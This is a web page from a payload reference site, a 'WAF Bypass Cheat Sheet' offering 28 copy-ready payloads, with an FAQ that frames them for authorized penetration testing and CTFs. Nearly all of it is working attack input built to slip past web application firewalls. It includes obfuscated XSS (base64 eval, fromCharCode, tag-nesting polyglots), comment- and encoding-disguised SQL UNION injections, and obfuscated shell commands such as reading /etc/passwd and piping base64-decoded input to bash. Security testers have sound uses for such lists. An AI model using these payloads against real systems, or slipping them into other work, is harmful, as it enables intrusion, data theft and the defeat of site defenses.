Skip to content
Payload Playground

WAF Bypass Cheat Sheet

WAF evasion techniques for XSS, SQLi, RCE, and LFI payloads using encoding, comments, and alternative syntax. (28 payloads)

Build custom WAF Bypass payloads in the XSS Payload generator

XSS WAF Bypass

(8)
<svg/onload=alert(1)>
No space tag
<img src=x oNeRrOr=alert(1)>
Mixed case event handler
<script>alert`1`</script>
Template literal bypass
<script>\u0061lert(1)</script>
Unicode escape in JS
<script>eval(atob("YWxlcnQoMSk="))</script>
Base64 eval bypass
<img src=x onerror="eval(String.fromCharCode(97,108,101,114,116,40,49,41))">
fromCharCode bypass
<svg><animate onbegin=alert(1) attributeName=x></svg>
SVG animate event
<math><mtext><table><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(1) src=1>">
Tag nesting polyglot

SQLi WAF Bypass

(8)
' /*!UNION*/ /*!SELECT*/ 1,2,3--
MySQL inline comment
'/**/UNION/**/SELECT/**/1,2,3--
Comment as whitespace
' uNiOn SeLeCt 1,2,3--
Alternating case
' UN%49ON SEL%45CT 1,2,3--
URL-encoded chars in keywords
' UNION%0ASELECT%0A1,2,3--
Newline between keywords
' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3--
MySQL version comment
' UniOn(SeLeCt(1),(2),(3))--
Parenthesized keywords
' UNION ALL SELECT 1,2,3--
UNION ALL variant

RCE WAF Bypass

(8)
w'h'o'a'm'i
Quote insertion in command
w\h\o\a\m\i
Backslash insertion
/???/??t /???/??????
Wildcard command bypass
cat${IFS}/etc/passwd
$IFS space bypass
{echo,$(whoami)}
Brace expansion
$(printf '\x69\x64')
Printf hex-encoded command
base64 -d <<< "aWQ=" | bash
Base64 decode and execute
$0<<<$'\x69\x64'
ANSI-C quoting bypass

Encoding Chains

(4)
Double URL encode: %253Cscript%253E
Double encode angle brackets
Unicode normalization: <script>alert(1)</script>
Fullwidth characters
HTML entities in JS context: &#97;lert(1)
Decimal entity in event handler
Overlong UTF-8: %C0%BCscript%C0%BE
Overlong UTF-8 encoding
ShareXLinkedInReddit

Level up your security testing

References

Related Generators

Related Cheat Sheets

Further reading

Frequently asked questions

What is the WAF Bypass Cheat Sheet?+

It's a quick-reference collection of 28 WAF Bypass payloads for testing WAF Bypass vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.

How do I use these WAF Bypass payloads?+

Copy any payload straight into your authorized test, or open the XSS Payload generator to build customized WAF Bypass variants with encoding and WAF-bypass options. Only test systems you have explicit permission to assess.

Are these WAF Bypass payloads free to use?+

Yes — this cheat sheet and all WAF Bypass payloads are completely free, with no account required. Everything runs in your browser.

Send feedback

Report an issue or suggest an improvement.

0/2000

Your report includes this page (/cheatsheets/waf-bypass) and your browser. If you’re signed in, we include your account ID and plan so support can prioritize Pro requests. Please leave out secrets and client data.